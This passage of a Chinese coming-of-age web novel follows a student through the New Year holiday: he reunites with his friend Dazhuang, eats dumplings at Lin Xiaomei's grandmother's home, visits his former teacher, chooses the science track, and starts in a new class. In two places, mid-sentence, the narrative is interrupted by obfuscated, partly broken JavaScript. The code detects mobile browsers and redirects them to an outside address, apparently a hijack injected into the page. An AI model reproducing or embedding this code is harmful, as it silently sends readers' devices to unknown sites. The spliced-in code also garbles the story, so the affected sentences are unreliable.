他站起来,走到窗前,看着外面灰蒙蒙的天。云层还是很厚,但有一小块地方透出了淡淡的蓝色,像一只半睁的眼睛。他想,明天大壮就回来了,明天他要去车站接他。 第二天下午,李小四提前二十分钟到了车站。 县城的长途汽车站在城东,一栋灰扑扑的两层楼房,外墙的白色瓷砖有些已经脱落了,露出里面灰色的水泥。站前广场不大,停着几辆三轮车和出租车,司机们站在车旁抽烟聊天,看到有人出站就喊一声“去哪”。李小四站在出站口,双手插在口袋里,跺着脚取暖。天很冷,风从车站的过道里灌进来,像刀子一样割在脸上。 他在出站口等了快半个小时,才看到大壮从里面走出来。 大壮穿着一件深灰色的棉袄,背着一个大号的登山包,包塞得鼓鼓囊囊的,不知道装了些什么。他比以前瘦了一些,但肩膀还是那么宽,走路的时候还是那种大步流星的姿势,跟以前一模一样。他的脸晒得更黑了,但眼睛还是亮的,亮得像两颗星星。 “大壮!”李小四喊了一声,朝他挥了挥手。 大壮看到他了,咧嘴笑了。那个笑容跟以前一样,大大的,亮亮的,露出一口白牙。他快步走过来,把登山包往地上一放,张开双臂,一把抱住了李小四。他抱得很紧,紧得李小四有点喘不过气。李小四拍了拍他的后背,也抱了抱他。 “你瘦了。”大壮松开他,上下打量了一下。 “你也是。” “我是干活累的。你是学习累的。”大壮笑了,“走吧,请我吃烤肠。” “你还记得?” “当然记得。你欠我的。” 李小四笑了,弯腰帮大壮拎起登山包。包很重,不知道里面装了什么,他拎着有些吃力。大壮把包接过去,扛在肩上,说:“不用你拿,我习惯了。” 他们走出车站,在路边拦了一辆三轮车。大壮跟司机说了学校的名字,三轮车突突突地开了出去,在县城的街道上颠簸着。大壮坐在车上,看着窗外的街道,看了很久,没有说话。 “县城没怎么变。”他终于开口了。 “没怎么变。”李小四说。 “学校变了吗?” “也没怎么变。银杏树黄了又落了,跟去年一样。” 大壮点了点头,又沉默了。三轮车经过学校门口的时候,他让司机停了一下。他隔着铁栏杆看着里面的操场,操场空荡荡的,一个人都没有,旗杆上的国旗在风里猎猎作响。他看着那根旗杆,看了好一会儿,然后说:“走吧。” 三轮车继续往前开,拐进了一条小巷,停在了烤肠摊前。 老板还是那个胖胖的中年妇女,围着那条油腻腻的围裙,正在收拾东西,准备收摊。看到大壮,她愣了一下,然后笑了:“大个子!你回来了?” “回来了。”大壮说,“来两根烤肠,多加辣椒。” “好嘞!” 老板手脚麻利地烤好两根烤肠,刷上辣椒酱,递给他们。大壮接过一根,咬了一大口,辣椒酱沾在了嘴角上,他也不擦,就那么嚼着,嚼得满嘴香。 “还是这个味道。”他说,含混不清的。 “还是这个味道。”李小四说。 两个人站在摊子前,一人拿着一根烤肠,谁都没有说话。风吹过来,把烤肠的热气吹散了,但嘴里还是热的。李小四看着大壮吃烤肠的样子,觉得时间好像没有走远,他们还是初一的那两个毛头小子,什么都不怕,觉得世界很小,觉得友情很长,觉得一辈子都不会分开。 但时间走了。他们都知道。 “大壮,你这次回来待几天?” “七天。初六走。”大壮把最后一截烤肠吃完,签子扔进垃圾桶,“这几天我得在家陪我妈。她一个人过年,我爸在天津值班,回不来。” 李小四想说“那你爸一个人过年”,但他没有说。他知道大壮心里不好受,说出来了,也不会好受一些。 “那你有空出来吗?” “有。初三以后应该有空。到时候找你。” “行。” 他们站在摊子前,又聊了一会儿。大壮讲了厂里的事,讲了他怎么从一个什么都不懂的学徒变成了持证电工,讲了夜校的老师怎么夸他接线接得好,讲了他在天津认识的一个朋友,也是从县城过去的,现在在一家工厂做技术员。他讲得很兴奋,声音很大,手势很多,像在讲一个很长的故事。李小四听着,不时插一两句,大部分时间只是听。他觉得大壮变了,变得能说了,变得愿意把自己的事讲出来了。以前的大壮不是这样的,以前的大壮嘻嘻哈哈的,但很少说自己的事,很少说那些让他难受的事。现在他愿意说了,也许是因为那些事不再让他难受了,也许是因为他觉得李小四是那个可以听他说的人。 “我该回去了,”大壮看了看手机,“我妈等我吃饭。” “我送你。” “不用,我走回去,没多远。” 大壮把登山包重新扛在肩上,走了两步,又回过头来:“小四,你过年去哪儿?” “在家。” “那初三我来找你。” “好。” 大壮笑了一下,转过身,走了。他的背影在巷子里越来越小,棉袄在风里鼓起来,像一面帆。李小四看着他走远,直到他的身影消失在巷子的拐角处。 他转过身,跨上电动车,往家的方向开。风还是那么冷,但心里是热的。不是因为吃了烤肠,而是因为大壮回来了。这个冬天,因为大壮的回来,变得不那么冷了。 除夕前一天,李小四接到了林小美的消息。 “明天下午你来我家吃饺子。三点左右到,我奶奶下午包饺子。” “好。”他回。 “你知道我家在哪吗?” “不知道。” 林小美发了一个定位过来,又发了一条消息:“到了给我打电话,我下来接你。” “好。” 李小四看着那个定位,在地图上放大了一下,是老城区的一个小区,离学校不远,骑电动车大概十分钟。他把地址记在手机备忘录里,又看了一遍,确认没有记错。 除夕那天,李小四起了个大早。 不是因为有事,是因为睡不着。他躺在床上,想着下午要去林小美家的事,心里有一种说不清的紧张。不是害怕,是一种期待和不安混在一起的感觉——像站在起跑线上等发令枪响,你知道枪会响,你知道你会跑,但枪还没响的那几秒钟,心跳会加速,手心会出汗。 他起床后洗了个澡,换了身干净衣服。他在镜子前站了好一会儿,看了看自己的头发,有点长了,但还不用剪。看了看自己的脸,最近熬夜熬得多,黑眼圈有点重,但还好,不算太明显。他对着镜子笑了一下,觉得自己看起来还算精神,就转身出了门。 “妈,我出去了。”他说。 “去林小美家?”妈妈从厨房里探出头。 “嗯。” “带点东西去。空手去不好。”妈妈从冰箱里拿出一个塑料袋,里面装着几个苹果和一盒饼干,“这是昨天买的,你带上。” 李小四接过塑料袋,看了看。苹果是红富士,个头很大,颜色很红,看起来很新鲜。饼干是那种铁盒装的,上面印着福字,过年送礼的那种。他不知道林小美的奶奶喜不喜欢吃饼干,但他觉得妈妈说得对,空手去不好。 他骑电动车到了林小美家的小区。小区很旧,是那种八十年代建的老小区,外墙的水泥已经剥落了,露出里面的红砖。楼道口的灯是坏的,门上贴着一张褪色的春联,上联是“家和万事兴”,下联是“人勤百业旺”,横批“幸福人家”。他站在楼下,给林小美发了一条消息:“我到了。” 过了几分钟,林小美从楼道里走了出来。她穿着一件红色的毛衣,头发散着,没有扎马尾,脸上带着一种他很少见到的表情——不是平静,不是严肃,而是一种柔和的、放松的、像是“在家”的表情。 “走吧。”她说。 李小四跟着她上了楼。楼梯很窄,两个人并排走不开,林小美走在前面,他走在后面。楼梯间的灯是声控的,他们的脚步声一响,灯就亮了,昏黄的光照在灰白的墙壁上,把两个人的影子拉得很长。 林小美家在四楼,没有电梯。爬到三楼的时候,李小四闻到了一股饺子的香味——是那种煮熟的饺子的味道,面皮和馅料混合在一起,热气腾腾的,让人忍不住咽口水。 “好香。”他说。 “我奶奶在煮饺子。”林小美说,语气很平淡,但李小四听出了那平淡底下藏着的骄傲。 林小美的奶奶站在厨房门口。 她个子不高,比林小美还矮半个头,穿着一件深蓝色的棉袄,头发全白了,梳得整整齐齐,用一根黑色的发夹别在耳后。她的脸上有很多皱纹,像核桃壳上的纹路,但她的眼睛很亮,亮得不像一个七十多岁的老人。她的手——李小四第一眼就看到了她的手——手指关节粗大,弯曲变形,伸不直也握不拢,像干枯的树枝。但她站在那里,腰板是直的,背是不驼的,整个人有一种说不出的精气神。 “奶奶,这是李小四。”林小美说。 奶奶看着李小四,从上到下打量了一下,然后笑了。她的笑容很慈祥,像冬天的太阳,不热烈,但足够暖。 “你就是李小四?”她的声音有点沙哑,但很清楚,“小美老提起你。来,进来坐。” 李小四换了鞋,把塑料袋递给奶奶:“奶奶,这是我妈让我带的,苹果和饼干。” 奶奶接过塑料袋,看了看,没有推辞,说了一句“你妈有心了”,然后把塑料袋放在茶几上。她转身走进厨房,说:“你们先坐,饺子马上好。” 李小四坐在沙发上,打量着这个家。客厅不大,但收拾得很干净。沙发是旧的,但沙发巾是新的,浅蓝色的,洗得很干净。茶几上放着一盘瓜子、一盘糖果、一盘花生,都是过年的标配。墙上挂着一幅十字绣,绣的是一幅山水画,山是绿的,水是蓝的,天边有一行大雁。十字绣的针脚很细,很密,每一个颜色都过渡得很自然,不像手工绣的,像机器绣的。 “这是我奶奶绣的。”林小美说,“她手伸不直,但绣东西比谁都细。” 李小四站起来,走到十字绣前,仔细看了看。那些针脚确实很细,细到不凑近就看不到。每一针都扎得很准,每一线都拉得很紧。他想象奶奶坐在窗前,戴着老花镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444080|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手指关节变形,但一针一针地绣,一天一天地绣,绣了几个月,绣出了这幅山水。他的手伸不直,但他绣出来的山水是直的,山是直的,水是直的,大雁的飞行路线也是直的。 “手伸不直没关系,心直就行。”李小四轻声说。 林小美看了他一眼,嘴角弯了一下:“你还记得。” “你说的,我记得。” 厨房里传来奶奶的声音:“小美,来端饺子!” 林小美走进厨房,端出两盘饺子。饺子是白菜猪肉馅的,皮薄馅大,每一个褶子都一样大,整整齐齐地排在盘子里,像一排排小小的元宝。奶奶跟在后面,端着一碗醋和一小碟蒜泥,放在桌上。 “吃吧,趁热吃。”奶奶说,坐在旁边的椅子上,看着他们。 李小四夹起一个饺子,蘸了一下醋,放进嘴里。饺子很烫,他吹了好几口才敢咬下去。面皮筋道,馅料鲜美,白菜的甜和猪肉的香混在一起,加上醋的酸和蒜的辣,在嘴里炸开,好吃得他想闭上眼睛。 “好吃吗?”奶奶问。 “好吃。”李小四说,嘴里还嚼着饺子,声音含混不清的。 奶奶笑了,笑得眼睛眯成一条缝。“好吃就多吃点。小美说你学习好,以后要考大学。多吃点,补补脑子。” 李小四看了看林小美。林小美低着头吃饺子,没有看他,但她的耳朵红了,红得很明显,连头发都遮不住。他不知道林小美跟奶奶说了多少关于他的事,说了哪些事,怎么说的。但他知道,她说的一定是好的。不是因为他有多好,而是因为在她眼里,他大概就是好的。 他吃了十五个饺子,吃得肚子圆滚滚的。林小美吃了十个,奶奶吃了六个。剩下的饺子奶奶用保鲜膜封好,放进了冰箱里,说“明天热热还能吃”。 吃完饭,李小四帮林小美洗了碗。两个人在厨房里,一个洗一个擦,配合得不算默契,但也没有出什么差错。水流的声音、碗碟碰撞的声音、抹布擦过瓷面的声音,这些声音混在一起,像一首简单的、没有旋律的歌。 “林小美,”李小四一边擦碗一边说,“你奶奶包的饺子真好吃。” “那当然。”林小美说。 “以后还能来吃吗?” 林小美手上的动作停了一下,然后继续洗,头也没抬:“你想来就来。” 李小四笑了。他把擦干的碗放进碗柜里,叠好抹布,挂在水池边。他看着林小美的侧脸,厨房的灯光照在她脸上,把她的轮廓照得很柔和。她的睫毛很长,投下一小片扇形的阴影。她的嘴角微微上翘,不知道是在笑还是本来就长那样。 他忽然想说点什么,但又不知道该说什么。他转过身,走出厨房,回到客厅。奶奶坐在沙发上,正在剥花生,花生壳噼里啪啦地响,花生米掉在茶几上,滚了两下,停住了。 “李小四,”奶奶叫他,“你过来。” 李小四走过去,在她旁边坐下。奶奶把剥好的花生米推到他面前,说:“吃花生。” 他拿了一颗放进嘴里,嚼了嚼。花生是生的,没有炒过,有一种淡淡的甜味和泥土的气息。他嚼着花生,看着奶奶的手。那双手在剥花生,动作很慢,手指关节弯曲着,不太灵活,但很稳。她把花生壳捏开,把花生米取出来,放在茶几上,然后捏下一个。每一个动作都很慢,但每一个动作都很准。 “你是个好孩子,”奶奶忽然说,“小美没看错人。” 李小四不知道该怎么接这句话。他张了张嘴,想说“谢谢奶奶”,但又觉得这句话太轻了,轻得配不上奶奶这句话的分量。他沉默了一会儿,说了另一句话:“奶奶,小美也是好孩子。” 奶奶看了他一眼,眼神里有一种说不清的东西。不是欣慰,不是感动,而是一种更深的、更沉的、像是把什么东西交出去了又放心了的东西。 “我知道。”奶奶说,“她一直都是。” 从林小美家出来的时候,天已经快黑了。除夕的傍晚,街上的人很少,大部分人都在家里准备年夜饭。偶尔有鞭炮声从远处传来,噼里啪啦的,一阵一阵的,像是在预告什么。路灯已经亮了,橘黄色的光洒在湿漉漉的路面上——下午下了一场小雨,地上还没干透,映着灯光,像一面面碎掉的镜子。 李小四骑电动车回家,夜风吹在脸上,凉飕飕的,但他的心里是暖的。不是因为吃了饺子,不是因为奶奶说的那些话,而是因为他觉得,这个冬天,他离一些人更近了。不是距离上的近,是心里的近。大壮回来了,林小美家的饺子吃到了,奶奶认识他了。这些事像一根根线,把他和这个世界连在了一起,让他觉得自己不是一个人。 到家的时候,妈妈已经在厨房里忙活了。年夜饭做了八个菜,鸡鸭鱼肉样样都有,桌子摆得满满当当的。爸爸在客厅里看电视,春晚还没开始,他在看新闻,声音开得不大,但他的注意力不在新闻上,他在剥蒜,蒜瓣一颗一颗地剥好,放在一个小碟子里,准备捣蒜泥。 “回来了?”爸爸抬起头。 “嗯。” “去洗手,吃饭了。” 李小四洗了手,坐在餐桌前。一家人围坐在一起,灯光暖暖的,菜是热的,人是齐的。妈妈举起杯子,里面是果汁,爸爸举起杯子,里面是白酒,李小四举起杯子,里面是可乐。三个杯子碰在一起,发出清脆的声响。 “新年快乐。”妈妈说。 “新年快乐。”爸爸说。 “新年快乐。”李小四说。 他们吃着饭,聊着天。爸爸讲了他厂里的事,妈妈讲了超市的事,李小四讲了去林小美家吃饺子的事。他没有说太多,只说奶奶包的饺子好吃,奶奶人很好。爸爸妈妈没有多问,但他们的眼神里有那种“我们知道了”的光。 吃完饭,李小四帮妈妈收拾了碗筷,洗了碗,擦干净灶台。爸爸在客厅里喊他去看春晚,他说“等一下”,把厨房收拾干净了才过去。他坐在沙发上,跟爸爸一起看春晚,妈妈坐在旁边,手里织着一条围巾,毛线是深灰色的,针脚很细,织得很慢。 他看着电视,但心思不在电视上。他在想这一年的事。从九月到现在,四个月,一百多天。他认识了很多新的人,学了很多新的东西,经历了很多新的挑战。他有考得好的时候,也有考得不好的时候;有高兴的时候,也有难过的时候;有觉得撑不下去的时候,也有觉得一切都值得的时候。 但不管怎样,他走过来了。 窗外响起了鞭炮声,越来越密,越来越响。十二点了,新年到了。李小四站起来,走到窗前,拉开窗帘。烟花在夜空中绽放,红的、绿的、金的、紫的,一朵接一朵,把天空照得亮堂堂的。他看着那些烟花,觉得它们像那些他写过的文字——短暂,但明亮。开过就没有了,但在开的那一瞬,你看到了,就记住了。 手机震了一下。是林小美发来的消息:“新年快乐。” “新年快乐。”他回。 “饺子好吃吗?” “好吃。明年还去吃。” “明年再说。” 李小四看着这行字,笑了。他站在窗前,看着满天的烟花,觉得这一年结束了,新的一年开始了。他不知道新的一年会发生什么,不知道会遇到什么人,不知道会经历什么事。但他知道,不管发生什么,他都会往前走。 不是因为他勇敢,而是因为路在那里。 31. 分岔路口 除夕的烟花落尽之后,县城安静了几天。大年初一初二街上人少,店铺都关着门,偶尔有几个行人走过,也是缩着脖子匆匆赶路。李小四在家待了两天,吃吃喝喝,看看电视,翻翻书,日子过得松散而舒适。但这种舒适里带着一丝不安——他知道寒假过完,还有很多事在等着他。 初三那天下午,大壮来了。 他骑着一辆借来的电动车,穿着那双旧运动鞋,鞋带换了一对新的,一只是黑色的,一只是深蓝色的。他比前几天回来时精神了一些,脸上的疲惫淡了,眼睛里的光更亮了。他把车停在楼下,给李小四打了个电话,说“我到了,你下来”。李小四跑下楼,看到大壮站在单元门口,手里拎着一个塑料袋,里面装着两罐可乐和两袋辣条。 “你怎么不上去?”李小四问。 “你妈在家,我怕她留我吃饭。”大壮咧嘴笑了,“不是不想吃,是今天约了别人,时间有点紧。” “约了谁?” “以前的同学。好几个呢,一起去看看马老师。” 李小四愣了一下。马老师,初一初二的班主任,那个给了他练习册、说了“记住那个分数”的马老师。他很久没见马老师了。上了高中之后,他回过一次初中部,但马老师那天不在,他只在办公室门口站了一会儿就走了。 “我也去。”他说。 “走。” 两个人骑着电动车,一前一后地穿过县城的主干道。初三的街道比除夕那天热闹了一些,有些店铺已经开门了,卖烟花爆竹的摊子还在,但生意明显冷清了很多。路边的梧桐树光秃秃的,枝丫伸向灰蒙蒙的天空,像一幅用炭笔画的素描。 县一中初中部的校门关着,但侧门开着,看门的老大爷认得大壮,摆了摆手让他们进去了。校园里很安静,操场上没有人,教学楼里也没有人,只有风吹过旗杆的声音,呼呼的,像一个人在叹气。他们爬上三楼,走到马老师办公室门口,门开着,里面已经站了好几个人——都是以前班上的同学,有几个李小四叫得出名字,有几个面熟但忘了叫什么。 马老师坐在椅子上,被学生们围在中间,正在说话。他穿着那件洗得发白的夹克,头发还是梳得整整齐齐,鬓角的白发比李小四记忆中多了不少。他看起来老了一些,但精神很好,说话的时候还是那种不紧不慢的、每个字都咬得很清楚的调子。 “马老师。”大壮喊了一声,声音有点大,在安静的办公室里显得有些突兀。 马老师抬起头,看到大壮,愣了一下,然后笑了。那个笑容不大,但很真,眼角细纹挤在一起,像一把打开的扇子。 “王大壮?你什么时候回来的?” “前天。马老师,您头发白了。” “能不白吗?被你们气的。”马老师笑着说,语气里没有一点责备的意思。 大壮嘿嘿笑了,往旁边让了让,露出后面的李小四。马老师的目光落在他身上,停了一下,然后点了点头。 “李小四,听说你期中考试考得不错。” 李小四心里一动。马老师还关注着他的成绩,不知道是从哪里听说的,也许是从沈老师那里,也许是从别的同学那里。不管是哪里,他知道了,而且记住了。 “还行,班级二十三名。”李小四说。 “二十三名。”马老师重复了一下这个数字,好像在品味什么,“你初一的时候,全班倒数第三。三年,从倒数第三到正数第二十三,这个进步,比从第一名到第一名难得多。” 办公室里安静了一下。其他同学看着李小四,眼神里有惊讶,有佩服,也有一种“原来他以前这么差”的不可思议。李小四低着头,不知道该说什么。马老师的话让他想起了很多事——那张38分的试卷,那本卷了边的练习册,那些深夜姐姐一条接一条的语音,那些中午趴在桌上睡十五分钟的午休。那些日子好像已经很远了,但马老师一提,它们就又回来了,鲜活的,带着温度的,像昨天才发生过。 “马老师,”大壮开口了,“我现在在学电工,拿了初级证了。” 马老师看着大壮,眼神里多了一些东西。不是惊讶,而是一种更深沉的、像是感慨又像是欣慰的东西。 “我知道。”马老师说,“你上次给我发过消息。” 大壮挠了挠头,笑了。李小四看了看大壮,又看了看马老师。他不知道大壮还给马老师发过消息,不知道他们一直有联系。这件事让他觉得,大壮跟马老师之间有一种他不知道的东西,一种超越了师生关系的、更私密的、更深的连接。 他们在马老师办公室待了快一个小时。聊了过去的事,聊了现在的事,聊了将来的事。马老师给每个人都说了一些话,不是那种泛泛的鼓励,而是具体的、针对每个人的、带着了解和关心的建议。他对一个想考体校的男生说“文化课不能丢”,对一个想学美术的女生说“专业要练,文化也要抓”,对大壮说“电工是技术活,技术学好了到哪都有饭吃”。 轮到李小四的时候,马老师沉默了几秒钟。 “李小四,你是不是要选科了?” “嗯,下学期选。” “选什么?” “还没想好。可能理科。” 马老师点了点头,没有说“理科好”或者“文科好”,而是说了一句让李小四没想到的话:“选你喜欢的。别选你觉得容易的。喜欢的东西,你会愿意为它吃苦。” 这句话沈老师也说过,几乎一模一样。李小四站在那里,听着马老师说出和沈老师同样的话,觉得这两个老师虽然性格不同、教法不同、说话的方式不同,但他们说出的道理是一样的。也许好老师的道理都是相通的,因为他们关心的不是分数,是人。 从初中部出来的时候,天已经快黑了。冬天的天黑得早,五点多钟太阳就落山了,六点钟的时候天边只剩一抹暗红色的余晖。大壮站在校门口,点了一根烟,吸了一口,又吐出来,烟雾在冷风里散得很快,几乎看不到。 “你什么时候开始抽烟的?”李小四问。 “在天津的时候。夜校的同学给的,抽着抽着就习惯了。”大壮看着手里的烟,笑了一下,“我妈不知道,你别告诉她。” 李小四想说“抽烟对身体不好”,但话到嘴边又咽了下去。大壮在天津的那些日子,一个人在陌生的城市里,白天上班,晚上上课,身边没有一个认识的人。他需要一些东西来缓解那种孤独和压力。烟不是好东西,但也许在当时,是他唯一能找到的、可以让自己稍微放松一点的东西。 “少抽点。”李小四说。 “知道了。”大壮把烟掐灭,扔进垃圾桶里,“走吧,请你吃烤肠。” 他们又去了学校门口的那个烤肠摊。老板看到他们,笑着说“你们这两个小子,吃烤肠吃上瘾了”。大壮说“老板的烤肠好吃,上瘾了”。老板被逗笑了,多给了他们一根,说“送你们的,新年快乐”。 三个人站在摊子前,一人拿着一根烤肠,夕阳已经落下去了,路灯亮了起来,橘黄色的光照在湿漉漉的地面上,映出三个人的影子,高矮不一,胖瘦不一,但都在。 “小四,”大壮咬了一口烤肠,含混地说,“你说我们以后会变成什么样?” 李小四想了想:“不知道。但应该不会太差。” “为什么?” “因为我们在努力。” 大壮看了他一眼,笑了。那个笑容跟以前一样,大大的,亮亮的,露出一口白牙。 “你说得对,”大壮说,“努力的人,不会太差。” 寒假的后半段,李小四开始认真地想选科的事。 他把沈老师给的那张大学专业分类表拿出来,看了好几遍。理科能报的专业很多,计算机、电子、机械、建筑、医学、生物、化学、物理、数学,每一类下面又有好多细分。文科能报的专业也不少,中文、历史、哲学、法律、经济、管理、教育、新闻,每一类也都有很多分支。 他不知道自己想学什么,但他知道自己不想学什么。他不想学医学,因为他怕血。他不想学法律,因为他记不住那么多条文。他不想学经济,因为他对钱没有太多概念。他不想学新闻,因为他不想整天跟陌生人打交道。 排除掉这些之后,剩下的还有很多。他需要一个更清晰的标准。 他想起了沈老师说的那句话——“你可以从两个角度去想,一是你擅长什么,二是你喜欢什么。擅长让你走得稳,喜欢让你走得远。” 他擅长什么?他擅长数学和物理,虽然物理不是最好的,但他学得进去,做出来题的时候有成就感。他的语文也不错,尤其是作文,沈老师夸过他几次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444081|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但他的英语一般,虽然进步了,但离“擅长”还差得远。 他喜欢什么?他喜欢做题做出来那一刻的感觉,喜欢那种“因为A所以B因为B所以C”的逻辑链条,喜欢用公式和定理去描述和解释这个世界。他也喜欢写东西,喜欢把脑子里想的东西变成文字,喜欢那些文字被别人读到的时候产生的共鸣。 他想了很久,想得头疼。他拿起手机,给林小美发了一条消息:“你选理科定了吗?” “定了。”林小美回。 “你怎么这么确定?” “因为我想当物理老师。我奶奶说的,喜欢什么就做什么,别犹豫。” 李小四看着这行字,觉得林小美的奶奶真是一个厉害的人。她说的每一句话都像一颗钉子,钉在人的心里,拔不出来。“手伸不直没关系,心直就行。”“喜欢什么就做什么,别犹豫。”这些话不是大道理,是活了一辈子的人从日子里提炼出来的智慧,每一句都沉甸甸的,有分量。 他想了想,又发了一条:“你觉得我选什么好?” “你自己觉得呢?” “我不知道。” “那你想想,你以后想过什么样的生活。” 李小四盯着这行字,看了很久。他想过什么样的生活?他想过一种不需要为钱发愁的生活,不是大富大贵,但够用。他想过一种能让妈妈不用再站超市、爸爸不用再修车的生活,不是让他们什么都不做,而是让他们做自己喜欢的事。他想过一种能帮助别人的生活,像马老师和沈老师那样,用自己的知识和经验去影响一些人,让他们变得更好。 这些“想”加在一起,指向了一个方向。 “我想当老师。”他发了这条消息之后,自己都愣了一下。他从来没有跟任何人说过这个想法,甚至自己都没有认真想过。但当他打出这几个字的时候,他觉得心里有什么东西落定了,像一颗棋子落在了棋盘上,稳稳当当的。 “什么老师?”林小美问。 “数学或者物理。跟你差不多。” “那你也选理科。” “嗯,我选理科。” “确定了?” “确定了。” 李小四放下手机,靠在椅背上,长长地呼出一口气。选科这件事,在他心里压了很久,像一块石头,今天终于搬开了。不是随便搬开的,是他想清楚了之后主动搬开的。这块石头搬开之后,前面的路就清晰了一些,虽然还有很多不清楚的地方,但至少方向有了。 他想当老师。这个想法不是今天才有的,是慢慢长出来的。从马老师把那本练习册递给他的那一刻开始,从沈老师念他的周记的那一刻开始,从林小美给他讲定语从句的那一刻开始,这个想法就在他心里扎了根,只是他一直没注意到。现在它长出来了,不需要浇水,不需要施肥,它自己就长出来了。 开学前一天,李小四把选科意向表填好了。 表格是学校发的,每个学生都要填,文科还是理科,在对应的方框里打勾。他在“理科”后面的方框里打了一个勾,勾画得不大不小,不歪不斜,刚好在方框的正中间。 他把表格装进书包里,明天交给沈老师。 晚上,他坐在书桌前,看着墙上那些贴了很久的纸片。初中的计划表,高中的计划表,手抄的古诗词,凤凰山顶的照片,大壮从天津寄来的明信片,还有那张校刊的复印件——沈老师给他的,他复印了一份贴在墙上。他看着这些纸片,觉得自己的人生就像这面墙,一开始是空白的,然后一点一点地往上贴东西,越贴越多,越贴越满。有些东西贴上去就撕不掉了,因为它们已经成了墙的一部分。 他拿起笔,在笔记本上写了一行字:“高一上学期结束了。下学期,选理科。目标:当老师。” 写完这行字,他把笔记本合上,放进抽屉里,跟那些旧的本子放在一起。他站起来,关了灯,躺在床上。 窗外的月光很亮,透过窗帘的缝隙照进来,在地板上画出一条细细的白线。他闭上眼睛,在黑暗里想着明天的事。明天开学,明天交选科表,明天见到林小美,明天见到刘洋、陈屿白、张瑞,明天开始新的一学期。 他不知道新的一学期会有什么在等他,但他已经准备好了。 不是因为他变强了,而是因为他知道方向了。 32. 新班级 高一下学期开学那天,下了一场小雨。雨不大,细细密密的,像筛子筛过的面粉,落在脸上凉丝丝的。李小四没有打伞,把校服帽子扣在头上,骑着电动车到了学校。校门口的人比上学期少了一些——有些同学没有回来,听说转学了,听说去职高了,听说不读了。李小四不知道具体是谁,也没人去问。高中就是这样,人来人往,有些人走着走着就不见了,你甚至不会注意到他们是什么时候消失的。 分班的名单贴在了公告栏上,三张粉红色的纸,用胶水贴得整整齐齐。李小四挤过去,从一班开始找自己的名字。一班,理科重点班。二班,理科重点班。三班,理科普通班。四班,理科普通班。他看到自己的名字了,在高一(4)班,理科普通班。他顺着名单往下看,看到了几个熟悉的名字——刘洋也在四班,赵磊也在,还有一个叫孙浩的,是以前隔壁班的,不太熟。他没有看到林小美的名字,也没有看到陈屿白的名字。 他掏出手机,给林小美发了一条消息:“你在几班?” 过了几分钟,林小美回:“一班。你呢?” “四班。” “重点班和普通班分开的。以后不在一起了。” 李小四看着这行字,心里像被什么东西轻轻撞了一下。不疼,但有一种说不清的闷,像胸口压了一块薄薄的石头,不重,但一直压着。他知道分班是必然的,重点班和普通班分开,这是学校的规矩。他早就知道会有这一天,但知道和面对是两回事。知道的时候只是在脑子里过了一下,面对的时候才真正感觉到那种“不一样了”。 “中午一起吃饭。”他发了这条消息,不是问句,是陈述句。 “好。” 李小四把手机揣进口袋里,背著书包往教学楼走。四班的教室在三楼,走廊朝北,正对着学校的围墙。围墙外面是一片荒地,长满了野草,远远看去灰蒙蒙的,跟冬天的天空连在一起,分不清哪里是天哪里是地。 教室里已经坐了不少人。他扫了一眼,大部分是陌生面孔,有几个人他见过但不认识,只有刘洋和赵磊是他能叫出名字的。刘洋坐在倒数第二排靠窗的位置,正在跟旁边一个男生说话,看到李小四进来,朝他挥了挥手。 “小四!这儿!”刘洋拍了拍旁边的座位,“坐这儿!” 李小四走过去,把书包放在桌上,坐下来。他看了看四周,教室比以前的稍微小一些,桌椅也旧一些,桌面上的刻痕和涂鸦密密麻麻的,有些是字,有些是画,有些已经模糊得看不清了。黑板上写着“欢迎新同学”四个字,粉笔字写得不怎么好看,歪歪扭扭的,但能看出写的人很用力。 “你看到分班名单了吗?”刘洋问。 “看到了。” “林小美在一班,重点班。” “我知道。” “那你以后不能抄她作业了。”刘洋咧嘴笑了。 李小四没有笑。他打开书包,把课本和笔袋拿出来,整整齐齐地摆在桌上。他的同桌不是刘洋,刘洋坐在他后面,他的同桌是一个不认识的男生,戴着黑框眼镜,看起来很文静,正在低头看一本物理竞赛书,书页上密密麻麻的,全是公式和推导。 班主任姓周,是个四十多岁的男老师,教物理的。他走进教室的时候,穿着一件深棕色的夹克,头发有点乱,像是刚从床上爬起来的样子。他没有做自我介绍,没有说“同学们好”,没有寒暄,直接走到讲台上,把手里的一沓表格放在桌上,然后抬起头,目光扫过全班。 “我姓周,是你们的班主任。”他的声音不大,但很沉,像从胸腔里挤出来的,带着一种让人不敢造次的分量,“从今天起,你们就是高一(4)班的学生了。不管你们以前在哪个班,成绩怎么样,从现在开始,重新洗牌。” 他停了停,从表格里抽出一张纸,念了起来。是座位表。他念一个名字,那个人就站起来,让他看一眼,认个脸。念到李小四的时候,他抬起头,看了李小四一眼,目光停留了大概一秒钟,然后低下头继续念。 李小四坐下来的时候,心跳有点快。他不知道周老师是怎么样的人,会不会像马老师那样严厉,会不会像沈老师那样温和,会不会像王老师那样快节奏。他只知道,从今天起,他要在这个新的环境里重新开始了。不是从头开始,是换了一条路继续走。 上午第一节课是物理。周老师站在讲台上,翻开课本,拿起粉笔,在黑板上写下了这节课的标题:“曲线运动”。 